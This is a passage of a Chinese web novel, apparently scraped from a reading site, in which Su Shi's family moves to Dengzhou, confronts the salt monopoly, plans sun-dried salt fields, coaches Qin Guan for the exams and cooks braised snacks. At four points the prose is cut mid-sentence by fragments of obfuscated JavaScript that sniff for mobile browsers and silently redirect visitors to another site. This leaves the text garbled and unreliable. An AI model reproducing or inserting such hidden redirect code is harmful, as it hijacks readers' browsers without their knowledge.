东坡居士来了这边，他们的生活是一年好过一年，从养猪到种地，再到如何做好吃的，如何养生看病，方方面面都有苏轼的功劳。如今要离开，他们是又喜又忧。喜的是东坡居士高升，他们满心祝福。忧的是不知道以后还会不会有这么多好的政策。不说别的，黄州小刊上，每年春节时，东坡居士的海报，以后可能就不会再有了。 对于百姓们的担忧，苏轼他们直接准备了新的一期《黄州小刊》，苏轼刊登了自己新作，与黄州人民道别，并倾情安利，目前一切福利政策，都会很好的执行下去。同时附上新海报，东坡居士道别图。加印了许多，准备送给黄州百姓。 知道这可能是绝版最后一张，大家都抢着要海报，府衙只能加印了多次。 除了老苏这边诸事繁忙，家里其他人也十分忙碌。 黄州的房产田地要安排好，倒不急着卖，但总要有靠得住的人，或盯着或帮忙租出去。 还有这边的三家店，一直都是王朝云在看顾，这几年下来，她也历练的愈发出众，发现自己十分喜欢这种运筹帷幄解决问题的感觉。 如今要离开黄州，她还十分不舍，一下子有些无所适从，不知道去登州还能不能继续开店，还是又要待在内宅。 对此，苏过当然是打包票安慰她，“朝云姐姐你放心，咱们走到哪儿，店就可以开在哪儿。我跟你说，登州可繁华了，咱们光那边就可以开好几家店呢。” 满意值还要继续攒，他的系统等级还有好多没解锁，太需要更多新渠道了。 把店铺开满全大宋什么的他不敢奢望，但走到哪儿开到哪儿的规划与小希望还是要有的。 王朝云一想的确是这样，“那就再好不过了，过哥儿你放心，到登州我绝对给你把两边的店铺都照管好。” “那就先谢过朝云姐姐了。”苏过拱手，有个能力强还有责任心的伙伴就是好，省心！ 种种事项安排下来，时间一下子就到了五月，天气渐热，逐渐步入夏季。 老苏的各项工作基本交接完毕，只是诸多朋友还是十分不舍，大家你请我我请你，聚了好几轮，送别诗写了许多，倒是越聚感情越深。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672644|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >虽然圣旨是说择日赴任，并没有催苏轼。但调令都下来了，总不好拖太久。 于是苏家定了端午节后出发，赶在最热的天气前上路。 见苏轼各种应酬不过来，苏过直接让老苏遍邀好友，大家一起搞一个送别聚会，也别今天你家明天我家了，都过来，大家欢聚一场，正式道别。 为了这次聚会，苏过也是费了大功夫。 因为人多，不想弄成宴席的形式，苏过直接将这几年做过的广受好评菜色都做了出来，搞了个自助餐。 提前准备好的各种串串钵钵鸡，东坡肉、香辣虾、小炒肉、土豆牛肉、酒酿圆子白糖糕，林林总总摆了小半个院子。 大家自行选了爱吃的，三三两两聊天谈心。吃饱的还可以打打扑克作作诗，主打一个尽兴。 近来桑葚成熟，苏过还特地做了桑葚酒，饭后给大家倒上一杯，十分清新香甜。 “东坡还未离开，我就已经开始想念你家的美食美酒了。”陈季常手拿酒杯，面带轻愁说道。 其他人也纷纷附和。 苏轼哈哈一笑，“且共饮此杯！” 众人举杯。 这年头，相逢别离都是常事，以后勤加书信，莫要相忘便好。 离别宴后，苏家众人整理好行李，准备出发。 秦观是准备继续跟着老苏去登州的，作为弟子，路上有事也好照应。 巢谷本来要告辞，他就是这样性子的人。老苏被贬，担心他在黄州过的不好，巢谷就巴巴的送野菜种子过来。如今眼看着又起复了，他便也准备再次告辞，不愿跟着好友沾光。 苏过哪能让巢谷就这样离开，他老师这种性子，绝对能自己把日子过的苦哈哈的。 连忙撒娇卖痴，又和老苏拼命挽留，直说自己无论学文习武都很需要他，而且到新的地方，多一个人也多一份力量一起出谋划策，才将巢谷留了下来。 而辩才法师倒是真的要离开了。他从上天竺寺退隐后，本就是出门游历，刚好遇到苏迨这个学医的好苗子，才一直留下来悉心培养。如今苏二哥算是学有小成，他也准备回寿圣院继续清修。 当年他和老苏就是在寿圣院相识的来着。 辩才法师年事已高，的确不适合继续随他们奔波。尽管苏二哥十分不舍，还是得送师父离开。 刚好苏大哥要去饶州任职，与杭州不算太远，可以先护送辩才法师回寿圣院。 苏大哥是元丰四年中的进士，但一直没有授官，今年跟老苏的新任命前后脚一起下来，安排到饶州德兴县做县尉，也算是一个新起步了。 这次出发去登州，倒和当年来黄州一样，只有苏迨和苏过陪着了。 登州地处北方，路程遥远，苏家众人走走停停了三个多月才终于抵达。 一路上苏家父子讨论了许多登州的情况以及以后可以施行的政策，倒是对这个地方很是期待，抵消了几分路途烦闷。 快到登州，刚下官道，便遇到一个衣衫破旧，瘦骨嶙峋的人踉跄跑来，倒在苏家马车面前。 51. 第 51章 驾车的钟叔眼疾手快拉住了马，才好险没让车轮压到倒下的人。 老苏下车查看，见此人这般凄惨，自然不好扔下不管。 刚好也到休整时间，大家便寻了个地方休息吃饭，顺便看看捡到这个人怎么样。 苏二哥把了把脉象，“此人并无大碍，只是饥饿劳累晕倒。” 众人不疑有它，这么瘦巴巴的样子，的确很像被饿晕。 但登州不是经济不错么，最近也没什么灾害，怎么还会有这么凄惨的百姓。 作为即将上任的登州父母官，苏轼自然无法坐视不管。 不知是不是闻到了香味，没过多久人便苏醒了过来。却没想到睁眼见到这么多人，此人第一反应竟然是逃跑。 但估计实在饿了太久，没什么力气，这人拼命挣扎也只是缓慢移动了几步，被苏过拦在了面前。 “这位小哥不要怕，我们不是坏人。你身体虚弱晕倒在我们马车前，先休息休息吃点东西再走吧。”苏过劝他。 见面前只是个小孩，又环顾一圈，的确像是出远门的一家人，此人终于放下心来，“多谢各位恩公相救。” 苏过盛出一碗面条递给他，“小哥怎么这幅模样，登州是发生什么事了么？”此人看起来年纪尚轻，属于青壮劳力，却还这幅样子，若不是极端情况，实在很难解释。 对面接过碗，狼吞虎咽吃完了整碗面，连汤都喝了干净。也许是吃饱的满足感降低了一些戒心，又也许苏过一行人的确不太具备威胁。对方终于面色缓和下来，“不敢欺瞒恩公，登州并无大事，只是我出门探亲丢了盘缠包袱，才落到这般景象。” 听罢苏过提议，“我们正要前往登州，小哥要不要跟我们一起，刚好送你回去。” 听到回登州，此人面上一阵紧张，“不用不用，我要南下探亲，这就继续上路，不打扰各位了。” 苏过还待继续细问，苏轼拦住他，“既然小友自有安排，那我们也不勉强。”又从口袋里拿出一串铜钱，“只是你盘缠尽丢，恐怕无法顺利南下，这点钱你拿着作为路费吧。” 年轻人见此，眼眶泛红，接下铜钱，“感谢恩公，不知恩公尊姓大名，来日若有机会，必将盘缠还给您。” 苏轼摆摆手，“你若再回登州，找苏东坡便是。” 听到这话，对面人脸上闪过一丝犹豫，却最终还是变为果决，“多谢恩公，我还要赶路，先告辞了。” 于是对苏家众人拜了拜，此人步履蹒跚头也不回的走了。 待人影消失不见，苏过问老苏，“爹你怎么就让他这么走了。” 苏轼看向儿子，“不然呢，他一个逃跑的人，肯定是不会回登州的，又何必为难。” 苏迨给对方把脉的时候他就观察到，此人手脚有多处皲裂溃烂，皮肤灰白还附着白色晶体。再配合他的神色语气，身份不言而喻，是个私逃的盐户。 老苏出身蜀州，川地井盐十分出名，当地就有许多盐户，他对这种情况也算是见过许多。 大宋施行十分严格的榷盐制度，食盐的生产、运输和销售基本都由官府掌控，其税收盈利占了整个朝廷收入近一半。 为了稳定盐业生产，还专门设置了盐户，世代负责食盐生产，不得改业。 而且为了方便作业，盐户还被组织起来，以熬盐的“灶”为单位，十灶左右为一“甲”，实行连保，互相监督，以防私煎私卖。毕竟食盐属于暴利行业，私盐贩买十分泛滥。 这样严格的制度下，对盐户的盘剥十分严重，官府不但会派兵看守盐场，控制点火熄火时间，每日都要辛勤劳作。盐户生产的盐还必须全部卖给官府。 官府的收购价一般都超级低，还经常拖欠款项。不仅如此，盐户这边要承担盐课，盐户的家人还要担负普通民户的赋税劳役，可以说是极其辛苦。 一边是压迫，一边是暴利。自然会有许多反抗，离眉州不远的戎州那边，就出现过好几次武装冲突。除了这种大型反抗，私逃的盐户更是不在少数。 登州临海，本就是制盐重地，这种情况只会多不会少。 苏轼也算是见的比较多了，对这种制度一直有心改善，却人微言轻。毕竟这种涉及国家经济支柱的事情，牵一发而动全身，十分难处理。 苏过知道大宋榷盐，却并不了解其中细节，这会儿听下来，极为感慨，“难怪他身体状况这么差，一提起回登州就面露恐惧。”一切都说得通了。 “不过他这样私逃出去，也没办法好好生活吧。”苏过疑惑道，毕竟这时很讲究身份路引，潜逃出去的就算是黑户了，在哪儿都要躲躲藏藏。 “要么投奔私盐组织，要么就去偏僻一点的地方开荒种地，跟着一些流民们混饭吃。”苏轼其实作为即将上任的登州知州，是应该将其抓回的。 但明知道是官逼民反，还去纠结百姓的行为，就有点本末倒置了。于是才故意不点明，还给了人盘缠，希望他能过的好一些，来日有机会再回登州。 也希望那时的登州，能有所改善。 苏过听完一边感慨一遍疑惑，“登州这么繁华的地方竟然都这样，实在是可惜。” 苏轼听了倒是露出笑意，“谁告诉你登州繁华了？” “嗯？”苏过一下子惊到了，“登州不是北方最大港口么？还那么多金矿铁矿，这还不繁华。” 苏轼坐回去，拿了个饼慢慢吃起来，“登州的港口早在熙宁七年就关掉了。至于金矿铁矿么，有钱和民苦也并不冲突。” 这倒是意外的消息了，苏过只记得大致的情况，却没想到这中间还有一些变故。 不过对于老苏所说，有钱但民生不一定好的事倒是认同。贫富差距和压迫在哪个年代都有，全看世道政策如何。 看来登州这个地方，远不像他想象的那么简单。 不过来都来了，马上要到登州，多想无益。黄州当年不也是个穷乡僻壤么，都发展起来了，登州抱着这么多资源，总不至于状况更差。 且先进城吧。 众人填饱肚子，又休息了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678315|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿，继续往城里出发。 抵达登州，一行人直接前往府衙，递上文书，便有人引他们入内。 前知州马默与通判郑为正在等着他们。 这回到登州，老苏作为知州，自然是不用再为住处发愁。直接有人引王氏等人前往官邸。苏过跟着老苏前去见人，苏二哥向来对这些不感兴趣，直接跟王氏回去休整了，毕竟他身体即使经过这些年的调养好了许多，也并不健壮。路上奔波这么久，很是疲惫了。 待见到马知州，几人寒暄落座，苏过安安份份做个乖后辈跟着老爹，只多听多观察，并不怎么发言。这位前知州倒是一看就满脸正气。 苏轼作为北宋名人，百姓不至于都认识他，但这些当官的肯定是有所耳闻的。马默对苏轼很有好感，十分热情详尽的跟老苏交代了登州种种情况，也对他在黄州的经历十分感兴趣，显然是看过《黄州小刊》的人，许多条例与轶事都很熟悉。大家聊的十分尽兴。 这位马知州是山东单州人，离登州不算很远，也算是半个当地人。在这边很有贤名，十分刚正不阿，为官清廉。之前做知县时就敢处罚犯事儿的官吏，才不管什么“刑不上大夫”的旧习。 到登州任职后，更是处理了许多恶性事件。 登州附近有个沙门岛，是专门作为流放的地方，时常有许多囚犯被送过去。有时难免会有囚犯数量超过定额的时候，岛主李庆竟然直接将超出人数的囚犯直接扔到海里，两年里死了七百多个人。 之前的官员都睁一只眼闭一只眼，毕竟死的都是犯事儿的囚犯。 但马默可见不得这种事，到任后不久，就严厉追究了李庆的罪责，还给朝廷上奏，提议修改了《配岛法》，建议超出定额的囚犯可以视表现转移到登州陆地改造，毕竟海岛的容量的确有限。 此举可以说是十分仁义而且有魄力了。毕竟安置囚犯还是需要费挺多事的。 苏过听下来，登州不但没有之前想的那么好，情况还比较艰难。 自从港口关闭后，这边的经济状况是一路下滑。少了往来使节与海运商人，许多百姓少了经商与港口的工作，只能做别的甚至种地。包括原本靠出海捕鱼为生的人，现在也只能近海捕捞，甚至从海上转向土地。但登州处于胶东半岛，山地比较多，耕地很少，哪里容得下这么多需求。而且山地也变相阻碍了这边各种物资与外地的交流。交通不易，商人都不爱过来，登州的经济自然更加起不来。许多百姓都背井离乡，直接外出谋生了。 苏轼还特地问了下这边盐户相关事宜，自然也不乐观，盐户私逃都不是个例。 马默为官清廉，很能为民做主。但许多事情也没有更好办法。于是聊到最后，几人倒长吁短叹了起来。 见氛围实在沉重，倒是马默先反应过来，“是我唐突了，子瞻初到此地就聊这些，还未替你接风洗尘呢，今晚我在府上设宴，有刚捞上来的加吉鱼，十分鲜美，一定要早些过来。” 听到这里苏过眼睛一亮，加吉鱼啊，听说超级好吃呢。 52. 第 52 章 靠山吃山，靠海吃海。登州靠海，很是有一些当地特色水产，加吉鱼就是其中之一。 这名字十分喜庆，据说还是当初唐太宗李世民给取的，因为太过好吃，专门赐名“加吉”，寓意吉上加吉。 这种鱼本名叫真鲷，有红色鳞片与黑色鳞片两种，当然，按国人喜好，肯定是红色鳞片的更加受欢迎。 苏过也是吃过鲷鱼的人，肉质细嫩，味道鲜美，在后世也有百鱼之王的称谓，一直是鱼中贵族。日本做个点心都还要取名叫鲷鱼烧呢，可见十分有名。 听说晚上有鲷鱼吃，苏家父子都暂时把各种问题抛到了一边，准备回去洗漱整理一番好晚上赴宴。 毕竟问题就在那儿，不会跑也不会变，都到登州了，肯定是要一样一样解决的，咱们也不差这一晚上。 王氏将一应事宜管理的井井有条。等苏轼二人回到后衙，不但行李已经基本归置完毕，房间打扫好。连洗漱的热水都早已备在灶上。 苏过赖到王氏身边，一直夸娘亲能干，被王氏嫌弃的赶去洗漱。这么脸皮厚，也不知道像谁。 见老苏也在一旁，一起赶去洗澡，两人都一个样。 苏过不以为意，只当王氏是害羞。之前去见马知州他们，两人都只简单梳洗换了衣裳。这会儿才真正放松下来好好泡个澡。 三个多月呢，还都是大夏天，一路走的苏过都麻木了。就算时不时有在洗澡，也觉得自己身上有股味道。 终于洗漱完毕，又睡了个小觉。苏家人一起去赴宴。 席上果然主菜就是加吉鱼。 登州这边的烹饪讲究原汁原味，做的是“一鱼两吃”。 处理好的加吉鱼跟香菇火腿一起用大火蒸熟，鱼肉鲜嫩爽口，久食不腻。每人手边还配了一碟蘸料，放了姜末与醋，鱼肉蘸一下再吃又是另一种风味。 鱼头被熬成了鱼汤。加吉鱼头胶质十分丰富，整碗鱼汤汤汁奶白，味道醇厚，简直让人喝了一碗还想喝。 这种鱼的珍贵不仅因为味道好，它还十分具有医学价值。用西医话说就是富含各种维生素矿物质，中医角度来说，很有补胃养脾的功效，十分适合食欲不振、消化不良的人吃。 苏过给身边的二哥盛了一碗，“哥你多喝点，帮助消化。” 这段时间赶路，苏二哥又瘦了许多，果然古时的长途旅行还是遭罪。亏他当年还想着老苏不管贬到哪里都当作游山玩水，还是想的太简单。 苏迨接下弟弟的好意，将鱼汤一饮而尽。 席上还有海虾、海参等物，可以说是十分有特色并且丰盛。 除此之外，还有一样东西吸引了苏过的注意力。桌边放着一盘水果，形似葫芦，表皮发红。 苏过拿起一个尝了一口，竟然是梨，果肉香甜，口感也好。原来这边不止苹果出众，连梨也不错呢。 接风宴上大家不再聊公事，只分享些最新诗作与有趣的事，倒十分宾主尽欢。 马默接下来还要去曹州任职，于是抓紧时间和老苏进行了交接，不久便启程离开了。 苏轼正式接手登州各项事宜，其他人都在等着看他如何施展。毕竟出自他手的黄州经验，可是被朝廷作为示范下发到各州的。这样一位能人，大家不管是真心期望还是看热闹，都很好奇这位新知州会如何改善登州的局面。 毕竟登州吧，目前很割裂，你要说他穷，每年金矿和铁矿相关产出十分多，可以说是富了一群人，产业也发达。但你要说它富，百姓的生活是真不怎么好。各种盘剥，就连想种地都既没有田地也没有良种。干点别的营生，港口还关了，这里和外地交通不便，商人都不来几个。 被万众瞩目的苏轼倒是不慌不忙。 毕竟现在已经快九月，临近秋收。百姓正是农忙的时候，无论想做什么改进，这会儿都不是好时机。 别的采矿和冶炼，都属于朝廷直辖，不好插手，也于民生作用不大。 剩下的如何入手，就需要仔细斟酌了。苏轼并不急于一时，且先考察考察。 而且最近还有一件事情苏家人都很关注。那就是劝秦观继续参加科举。 之前秦观已经参加了两届州试，都折戟而归。没办法，这些年科举改革，不重诗词重策论。秦观一个婉约派代表，硬生生没办法凸显特长。 今年初老苏就有问秦观要不要回乡考试，被回绝了，说想要继续历练一番。毕竟两轮考下来就是六年，再怎么心态好，他也不能说自己没有受到一丁点影响。 苏轼向来讲究随心，秦观既然想停一届，那就再学一学好了。五十少进士，还有时间。 倒是到登州后，发现这边州试向来较晚，还未开始，府衙正在操办此事。苏轼回来后便顺口问了问要不要在这边试试。 秦观又想拒绝，刚好苏过也在一旁听到，心下奇怪，“秦大哥哥干嘛不试一试呢，多考一场也是积累经验呢。” 秦观道，“左不过又是策论不入考官的眼，且再磨练两年吧。”现在科举主要考经义、策、论三部分，他在经义方面还算擅长，策论就没那么出众了，尤其是时务策，经常写的不够酣畅淋漓，论点也不够。 听到这里苏过不赞同了，“今非昔比，秦大哥你这几年一直跟着我爹处理黄州各项事宜，时务策考的大部分内容不说精通，至少都能言之有物，这就是一大优势了。至于史论，左不过在框架里面分析，咱们搞个针对训练，以你的才华，必然成品出众。” 其他人是又要担心内容又要担心文笔。秦观在文笔这块儿那是没得说，之前欠缺的内容，这两年也实习补上了。再押押题，学一学议论文框架，分分钟写出一篇优秀论文来。 秦观一想，好像的确是这么回事。 老苏笑着看苏过，“过哥儿很是胸有成竹嘛，看来可以早点下场考试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694771|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 苏过连忙摆手，“不一样不一样，我只是纸上谈兵，只知其表，哪能跟别人比。” 开玩笑，且不说他现在参加科考的确还有些差距，就算真的能考了，那也不能这个年纪就去。不是谁都能当晏殊的，这个神童风头他可不出。 苏轼不和他理论，看向秦观，“你若有意，我为你作担保，就在登州寄应考试好了。” 秦观十分意动，但也犹豫，“我近来文章写的不多...” 苏过拍拍胸脯，“没关系，咱们临时抱抱佛脚。我给你找找真题，咱们练一练。” 于是就这样敲定，苏轼帮忙搞定秦观寄应考试的身份，苏过跑遍各大书铺，找来了市面上各种科举资料书。 北宋这会儿印刷业已经十分发达，科举又是重头戏，相关书籍十分繁杂，除了官方书籍还有各种注释本外，科考资料也不在少数，各种“考点速记”“满分作文”目不暇接，连苏轼的策论都有人专门出了一本呢。 临近州试，连考生身份都是紧赶慢赶才报上名，秦观自然没有时间将这些资料书全部过一遍，虽然以前他也看过大半。 于是苏过当仁不让，开始充分利用自己过目不忘与擅长归纳总结的技能，开始为秦观押题和总结范本。 近几年的考试题目文章写一写，热门事件重点关注，满分作文，例如老苏和欧阳修等人的策论框架模仿一下。还有苏轼亲自打分与提修改意见。这样反复练习之下，想不进步都难。 而且还有一个超级后门，今年的殿试会非常特殊。如果历史进程没有被蝴蝶掉，明年就该哲宗上位了，虽然是高太后垂帘听政，但这个交接背景下，上面最关心的，大概率就是变法与治国相关。苏过感觉自己押题会十分准确。 不过这都是殿试的事儿了，秦观得通过州试再说。 就这样紧赶慢赶，秦观参加了登州的考试，苏家父子亲自送考，苏过还专门给他设计了方便考场食用的干粮点心。 这会儿的乡试可是马拉松，要连考九天。苏过最近忙着给秦观整理辅导资料，也没空研究方便食品，只能做些耐放又好消化的干粮点心让带进去，又配了件薄棉被，登州地处北方，这会儿已经有点冷了。 送秦观进了考场，老苏开始旧事重提，“这段时间你帮着整理了这么多资料，想必很有感悟，是不是可以准备准备下一届考试。” 听到这话的苏过瞪大了眼睛，“爹你开什么玩笑，我可还没系统准备过考试呢，早得很，早得很。” 为了避免老苏继续这个话题，苏过直接转移视线，“这段时间都没来得及问，爹你准备好从哪儿入手改造登州了么？咱们五年规划还做么。” 苏轼回答，“当然做，但咱们初来乍到，步子不能迈太大，先从一个地方入手。” 苏过看向他爹，“什么方向？” 苏轼抛出两个字，“榷盐。” 53. 第 53 章 苏轼的计划在苏过意料之中。从他们登州城外遇到那逃跑的盐户开始，苏过就知道老爹肯定不会坐视不理。 而且历史上，老苏也的确管了这事儿。那时更戏剧化，老苏被调任登州做知州，才到任五天就接到再次升官的圣旨，要去京城。总共在登州待了不到二十天，但就是这么短的时间里，就提了好几道建议折子，其中一个，就是改良登州的榷盐制度。 没办法，朝廷榷盐是为了把控民生经济，获得税收。但这个制度在登州执行的并不理想。 这时主要采用钞盐法，就是京城设立总代理部门，又在各地设立分支，朝廷统一印刷盐钞，商人花钱到总代理那边买盐钞，再去各地盐场兑换食盐，然后在规定地点售卖。 抛开底下的压榨剥削还有贪腐不说，这个制度是能够保证一定程度上的食盐销售流通的。 但问题就在于，登州这个地方，前面也说过，山多交通不便，港口关闭后更是经济停滞，商人都不怎么过来。 官府按上面统一价格以低价收盐，又高价卖出。 盐户赚不到钱，也买不起盐，纷纷破产逃亡。普通百姓更买不起盐，别看登州靠海，海盐丰富，当地人普遍吃的很淡。官府盐卖不出去，也没有商人来买盐去别的地方卖，收来的盐都堆在仓库里结块变质了。 如此一来，是百姓没盐吃，官府也拿不到利润，可以说是双输。 苏轼准备上折子奏请取消登州的榷盐制度，让盐户可以直接卖盐给百姓，官府直接对其收税就好。 这样百姓买得起盐，盐户有的赚，官府也能收到税。 苏过十分赞同老苏的提议，事实上这个政策的确有被批准，甚至一直到明清都还在执行，可以说是造福登州百年时间。 但苏过觉得他们可以再往前推进一些。 在现代时，他十分喜欢这边的大樱桃，曾专门过来游玩，品尝当地美食与水果。登州，也就是烟台，其饮食文化讲究原汁原味，尤其看重“咸鲜”二字。结果没想到这会儿，竟然连盐都吃不起，“咸鲜”二字就只剩下鲜了。 取消榷盐的确能够降低盐价，缓解吃盐问题。但制盐效率低下，盐户依旧会很辛苦。而且为了保护税收，朝廷只会批准登州一地的政策修改。北宋这么多州县，那么多盐场盐户，既然要做，他还是希望能够尽量改善更多人的境遇。哪怕一时半会儿做不到，咱们也可以立个远大目标。 抛开制盐效率与质量，还有官差的盘剥，这会儿的盐户，是真的很辛苦。 北宋时期，制盐还是“淋卤煎盐”法，将海水通过沙子淋洗成高浓度的卤水，再用锅熬出结晶。 苏过曾参观过古法制盐的房间，狭小，低矮，而且因为一直在煮盐，温度非常高。这种环境下，盐户是每日每夜的劳作，十分艰辛。 而这么艰难制作出来的盐，也只是粗盐，颗粒粗糙不均匀，还有许多杂质，颜色暗暗的，带着苦味。 普通百姓们日常买的就是这种盐，白白细细的那种细盐，要经过多次过滤、反复煎炼，甚至特殊工艺才能制成，价格是粗盐的几十倍，也只有高官富户才能吃得起。 再过不久，福建那边就会开始有人尝试晒盐，当然，只是非常早期的探索，真正的晒盐要明清时期才会成熟。 但是，苏过是见识过成熟晒盐技术的人。他曾经有个朋友正好在盐场工作，带他参观介绍过。什么多级蒸发池，“坎晒法”，结晶析盐，不说一一复刻，模仿个大概，再慢慢研究优化是没什么问题的。 而且别看登州属于北方光照不够，这边空气够干燥，风还多，正适合蒸发水分晒盐，咱们避开夏天的雨季就好。 附近渤海海水盐度高，还有很多泥滩，简直是修盐田的天选地形。 这个工程一旦完成，许许多多的盐户就能从高热的煎盐房里走出来，换一个轻松一点的环境。 甚至晒盐法的产量和自动化程度都更高，不需要那么多的盐户。 这些人如果能申请到政策允许转换户籍自然是很好，即使不能，也可以将人力投入到精盐的制作中来。品质够高，就能卖出好价钱。打造成登州特色，必然可以吸引商人过来，这边的经济和民生能上一个台阶。 简直是一举多得。 朝廷榷盐，不仅仅是为了税收，更是为了管控。盐不仅是百姓日常所需，也是战略物资的一种。 大宋，真的很缺盐。或者说，缺优质的盐。 别看中原地区地大物博，但有些地方盐的产量和质量，还赶不上辽国与西夏。 尤其是辽国，疆域广阔，盐产资源十分丰富，成天往北宋境内大量走私海盐，比官盐价格低上许多，很有市场。获取了大量金银，还扰乱了边境的经济。 而且这种走私活动，咱们还收不了税。 西夏也是，虽然盐场不多，但人家有质量最好的盐池，产出的青白盐品质非常白，是用来交换大宋粮食和茶叶的关键物资。两边打仗的时候，北宋就经常禁止西夏的青盐贸易，作为经济制裁。 如果他们自己能够提高盐的产量和质量，那对辽国的走私，西夏的贸易输出，都会是很好的打击。 听苏过讲完，苏轼也觉得这个主意很好，可以作为他们登州五年计划的先锋。 不过晒盐法的各项工程不小，不会很快实现。可以先上折子取消榷盐政策，再徐徐安排，不影响。 等后面盐田弄好了再看看成果。 除此之外，苏轼还准备反馈下这边的海防问题。 盐场大多位于海边，他去考察时，发现沿海的防御十分松懈。 这种疏漏，既有内因也有外因。与辽国自订立盟约以来，数十年未有战事，登州的武备大多十分松懈。而且很多兵卒都被调去劳役或做其它事情。导致登州的海防情况十分不如人意。 而这是十分不应该的，一国边境，国防前沿，无论是否有战事，都应该保持警戒。 更何况，虽没有明面上的战争，私下的渗透与不法活动一直没有停止。 当初也正是担心离辽国太近，容易有细作混入，对边地稳定无益，走私也猖狂，才关闭登州港口的。 结果现在港口关了，大家反而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704004|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松懈了。 这非常不应该，一定要反馈上去。 于是父子俩分工，老苏去写折子，苏过去画晒盐图，咱们争取早日落实下来。 苏过肝了几天，终于将能记起来的晒盐流程，各种设备与盐田设计都写了下来，能做到什么程度，就看古代劳动人民的智慧了。 不过思考了这么多天的盐，倒让苏过有点馋咸口的东西了。 苏过决定做点卤制品吃。 登州这边有个特色美食就是卤驴肉来着，不过不是现在开始流行的，要清朝才会出现。 除了驴肉，提起卤制品，苏过馋的那就多了。 猪耳朵猪蹄，牛肉卤蛋，还有鸭脖鸭翅，鸡爪鸭舌，甚至豆干等都很美味。 啊，提起来就有点流口水了。 隔日，苏过起了个大早，吃完早点就去早市买材料。 毕竟家里常备的都是些寻常调料与普通鱼类肉类。要做卤味，那需要的香料和各种食材就太多了。 北宋时海外贸易发达，大部分香料已经都有了，本地的异域的香料齐全，就算少一两味也不打紧。 又跑了好多个摊位才买齐鸭脖鸡爪等物，毕竟这类边角料，很少有单独售卖，倒是费了一番功夫。 回家后，将食材交给钟婶帮忙处理，苏过便开始熬制卤汁。 做卤味是件十分需要细致和耐心的事情。处理食材、调味，都很繁琐。下锅后，也要小火慢炖，让香料味道慢慢渗入食材，还要保持食材炖的酥烂而不散架。 于是做了一整天的卤味，晚餐时分，苏家众人才吃到这一食物。 苏轼夹起一个鸡爪，“鸡爪也能拿来卤的么？” 鸡爪有人吃，战国时齐王就超级喜欢，《吕氏春秋》还专门记载。 卤味也算普遍，不过大多是些鸡鸭鱼肉。像苏过这样，啥都放一些进去卤的倒不常见。 一口咬下去，鸡爪已经炖的酥烂，轻轻一抿就骨肉分离，每一块肉都十分入味，吃起来很有趣味。 猪蹄也被炖的很烂，一口下去软糯咸香，十分满足。 鸭脖这些，吃起来就比较费劲了，需要细细去剔出肉来，但也是越吃越有意思。 这顿饭吃的时间比平时长很多，但大家都很满意。 王朝云提出建议，“这个卤味品类倒是丰富，制作流程也不繁琐，很适合拿来售卖。” 到黄州后她一直有在研究这边的行情，想要将店铺再次开起来。 直接开个火锅店奶茶店什么的也不是不行，但都到一个新地方了，不做点特色总归感觉没有灵魂。而且当地百姓的口味也很重要，并不是一招鲜就能走天下。 今天的卤味倒让她找到了方向。 一锅卤味卤万物，再加一锅火锅煮百味。卤味加钵钵鸡，咱们就开个以小吃为特色的店铺，也不是不行啊。 苏过听了很是赞同，这要是开成功，来日带到汴京。 那《东京梦华录》里面记载的就不是“段家爊物”了，恐怕要改成“苏家卤味”。 想想还有点小激动呢。